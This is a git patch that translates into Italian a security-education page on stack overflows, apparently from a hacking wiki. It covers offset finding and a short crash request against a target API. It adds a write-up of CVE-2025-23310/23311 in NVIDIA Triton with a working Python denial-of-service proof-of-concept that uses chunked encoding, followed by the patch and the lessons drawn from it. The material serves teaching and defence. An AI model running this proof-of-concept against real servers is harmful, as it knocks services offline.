From 5772f8463ea7c4bae462acecd30da11c060c43c9 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:44:36 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/README.md'] to it --- .../stack-overflow/README.md | 72 +++++++++++++++++-- 1 file changed, 66 insertions(+), 6 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index f65379dda..6474227f9 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,11 +4,11 @@ ## Che cos'è uno Stack Overflow -Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono controlli sui limiti dell'input. +Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto ne sia stato allocato per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input. -Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**. +Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascriverli e **controllare il flusso di esecuzione del programma**. -La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack. +La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack. Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata. @@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer); ``` ### Trovare gli offset degli Stack Overflow -Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**. +Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**. -Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non è possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua. +Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua. In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo. @@ -115,12 +115,72 @@ warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Anche se i canarini dello stack abortiscono il processo, un attaccante ottiene comunque un **Denial-of-Service** primitivo (e, con ulteriori perdite di informazioni, possibilmente l'esecuzione di codice). La lezione è semplice: +Anche se i canarini dello stack abortiscono il processo, un attaccante ottiene comunque un **Denial-of-Service** primitivo (e, con ulteriori leak di informazioni, possibilmente l'esecuzione di codice). La lezione è semplice: * Fornire sempre una **larghezza massima del campo** (ad es. `%511s`). * Preferire alternative più sicure come `snprintf`/`strncpy_s`. +### Esempio del Mondo Reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva più **overflow basati su stack** raggiungibili tramite la sua API HTTP. +Il pattern vulnerabile appariva ripetutamente in `http_server.cc` e `sagemaker_server.cc`: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) restituisce il **numero di segmenti di buffer interni** che compongono il corpo della richiesta HTTP attuale. +2. Ogni segmento causa l'allocazione di un **`evbuffer_iovec` di 16 byte** nello **stack** tramite `alloca()` – **senza alcun limite superiore**. +3. Abusando del **_chunked transfer-encoding_ HTTP**, un client può forzare la richiesta a essere suddivisa in **centinaia di migliaia di chunk da 6 byte** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti fino a esaurire lo stack. + +#### Proof-of-Concept (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e **crash** il demone su una build predefinita. + +#### Patch & Mitigazione +Il rilascio 25.07 sostituisce l'allocazione dello stack non sicura con un **`std::vector` supportato da heap** e gestisce in modo elegante `std::bad_alloc`: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +Lezioni apprese: +* Non chiamare `alloca()` con dimensioni controllate dall'attaccante. +* Le richieste a chunk possono cambiare drasticamente la forma dei buffer lato server. +* Convalida / limita qualsiasi valore derivato dall'input del client *prima* di utilizzarlo nelle allocazioni di memoria. + ## Riferimenti * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}